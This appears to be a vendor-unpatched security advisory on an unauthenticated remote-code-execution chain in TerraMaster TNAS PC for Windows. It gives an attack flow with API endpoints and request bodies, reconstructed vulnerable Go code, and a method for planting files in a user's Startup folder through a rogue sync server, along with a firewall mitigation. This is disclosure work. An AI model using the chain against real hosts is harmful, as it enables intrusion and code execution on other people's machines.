TerraMaster TNAS PC is the Windows desktop client for managing TerraMaster network-attached storage (NAS) devices. TNAS PC 5.2.548 for Windows (built on Electron 25.9.8), and likely prior versions, contains an unauthenticated vulnerability chain that enables Remote Code Execution on Windows hosts running the application. The attack requires no authentication, no user interaction, no man-in-the-middle position, and no prior pairing with a NAS device โ any host on the same local network segment can carry it out. Successful exploitation lets an attacker write a file with arbitrary content to an arbitrary path on the victim, including the user's Windows Startup folder, which yields code execution the next time the user logs on, running in the context of the logged-in user. The Linux and macOS packages ship the same sync engine, but only the Windows deployment was validated in this research.
Product: TerraMaster TNAS PC 5.2.548 for Windows (Electron 25.9.8)
Desktop proxy service: TNAS_PC_Desktop.exe โ Go/gin reverse proxy built on net/http/httputil.ReverseProxy. Binds all network interfaces on a dynamically assigned port.
Sync / backup engine: tsync.exe (TerraSync, Go). Binds 127.0.0.1 on a dynamically assigned port.
Exposed routes: /proxy (unauthenticated, header-directed request forwarder) on the desktop proxy service; /TerraSyncClient2/servers, /sync-tasks, /backup-tasks, /config and related routes on the engine.
Write sink: a download-direction sync task whose local destination directory is an unvalidated absolute path; the engine writes attacker-supplied bytes to the attacker-chosen location.
The chain combines two exposure defects (an open forwarder and an unauthenticated management API) with two write-primitive defects (unauthenticated server registration and an unvalidated destination path). Individually each is serious; together they form an unauthenticated LAN-to-RCE chain. Concrete addresses and ports are shown as placeholders because each is assigned dynamically on every launch:
<VICTIM> โ the victim's IP address.<PROXY> โ the desktop proxy service port.<TSYNC> โ the engine's localhost port.<ATTACKER> / <MOCK> โ the attacker's IP and mock-server port.<USER> โ the Windows account running the application.Attack chain. The end-to-end flow of the primary write-to-logon-execution chain:
attacker host
|
| (1) find the two services
| scan <VICTIM>; GET /proxy gives 301 -> proxy at <VICTIM>:<PROXY>
| through the proxy, try 127.0.0.1:<p>/TerraSyncClient2/config for the
| dynamic ports; the answer with "is_login" shows the engine at
| 127.0.0.1:<TSYNC>
|
| (2) register the attacker as a sync server (no authentication)
| POST (via proxy) /TerraSyncClient2/servers
| {"addr":"<ATTACKER>","port":"<MOCK>","username":"admin"}
| -> the engine connects to <ATTACKER>:<MOCK> and runs the gRPC Auth/Signup
| handshake; the server record is persisted
|
| (3) enumerate the victim (metadata walk)
| POST /sync-tasks local_dir: "C:\Users" direction: upload
| -> engine reports path/size/mtime/dir-flag for every entry,
| revealing the account name <USER> and the machine layout
|
| (4) create the write task (destination chosen by the attacker)
| POST /sync-tasks local_dir: "C:\Users\<USER>\...\Startup"
| direction: download
|
| (5) serve the content
| mock server: GetChangesSince -> "there is a new file proof.txt"
| engine: SnapshotSvc/ReadAt -> fetches the bytes from the mock server
| -> the engine writes the attacker's bytes to <Startup>\proof.txt
v
arbitrary file write as <USER> -> code execution at next logon
TNAS_PC_Desktop.exe listens on all interfaces and exposes an unauthenticated proxy route. The upstream destination is taken from a request header, with no authentication, no Host/Origin validation and no allow-list on the target. Verified from a second machine: GET /proxy returns 301 /proxy/; a header-chosen fetch of an attacker URL returned 200 at the attacker's path; and GET, POST, PUT and DELETE all reached the attacker's listener with bodies intact. The proxy relays to any destination, including the victim's own loopback, which defeats the isolation every other component relies on (the engine binds localhost only).
// reconstructed from the shipped binary (Go/gin + httputil.ReverseProxy)
func proxyHandler(c *gin.Context) {
target := c.GetHeader("target") // attacker-chosen upstream
u, _ := url.Parse(target)
proxy := httputil.NewSingleHostReverseProxy(u)
proxy.ServeHTTP(c.Writer, c.Request) // methods + bodies forwarded as-is
}
The engine's entire control plane runs behind a single error-recovery middleware. There is no authentication middleware, no token check and no local-origin validation. Every response carries an is_login:false field, but this is telemetry rather than an access control: a configuration write durably changed engine state with is_login:false in every response, and a delete request for a nonexistent id still reached the record lookup. Because there is also no check that a request originated on the machine itself, the localhost bind offers no protection once the proxy forwards LAN traffic to it.
func setupHttpServer() {
r := gin.New()
r.Use(GinRecoveryWithGlog) // the ONLY middleware
g := r.Group("/TerraSyncClient2") // bound to 127.0.0.1:<TSYNC>
g.POST("/servers", ...) // register a remote server
g.DELETE("/servers/:id", ...)
g.POST("/sync-tasks", ...) // create sync tasks
g.DELETE("/sync-tasks/:id", ...)
g.POST("/backup-tasks/", ...) // create backup tasks (one slot)
g.POST("/backup-tasks/trigger", ...)
g.PUT("/config", ...) // durable configuration change
// ... /local-dirs/create, /debuglog, /log, /database, /kill, /shutdown
}
A server registration is one call with no authentication. The engine then connects to the given address and runs the gRPC registration handshake. Any peer that accepts the handshake is trusted, and the record is persisted so it survives reboots. As a result, the write chain (V4/V5) is ready again when the attacker comes back online; the victim makes periodic outbound connections to an attacker-chosen address.
record = {addr: <ATTACKER>, port: <MOCK>, username: "admin", ...}
persist(record)
for { // engine loop, indefinitely
heartbeat(record) // dials <ATTACKER>:<MOCK>
on failure: reconnect() // retries periodically, forever
}
A sync task accepts the local destination directory as an absolute path, and the engine does not validate or restrict this path. As a result, the sync root can point to any location accessible to the process, and no additional path validation is performed when files are written. Although the engine filters filename-based path traversal, this protection is ineffective in this scenario because the attacker controls the destination directory itself. The attacker can configure the task direction as a download and choose an arbitrary local destination path. The engine then retrieves changes from the registered server, which is also controlled by the attacker, and writes the server-provided content to the attacker-selected destination.
// the attacker's mock server replies to the engine's change poll:
GetChangesSince -> FileChanges{ path: "proof.txt",
snapshot: {id:1, size:66, mtime: now} }
// the engine then fetches the bytes from the attacker:
SnapshotSvc/ReadAt (snapshot id passed in gRPC metadata)
-> {data: <attacker-chosen bytes>}
-> engine writes them verbatim to <local_dir>\proof.txt
The attacker sets the destination to the Startup folder of the user. The full path is C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The attacker places a batch file in this folder. The code executes within the security context of the currently logged-on user and inherits that user's existing privileges. It does not execute with elevated or SYSTEM-level permissions. Therefore, this attack does not provide privilege escalation and cannot be further exploited, by itself, to obtain higher privileges.
A proof of concept was developed to demonstrate the vulnerability and was successfully tested across multiple hosts and different engine states. The PoC confirmed arbitrary file write to attacker-selected locations and code execution at user logon. All testing was performed in an authorized lab environment.
Until TerraMaster ships a fix, the network-facing service TNAS_PC_Desktop.exe listens on a dynamically assigned port, which rules out a reliable port-based firewall rule. The practical mitigation is a Windows Defender Firewall rule that blocks all inbound network connections to the TNAS_PC_Desktop.exe executable itself, which closes the attack surface while leaving the application usable for managing a NAS on the local machine.
2026-09-21 โ Contacting TerraMaster regarding the security vulnerability
No reply has been received from the vendor since.
Critical Security was established in 2007 by a group of cyber security enthusiasts. Since its establishment, the company has been providing high-quality security assessments and penetration tests to various organizations, helping them identify and mitigate potential security threats.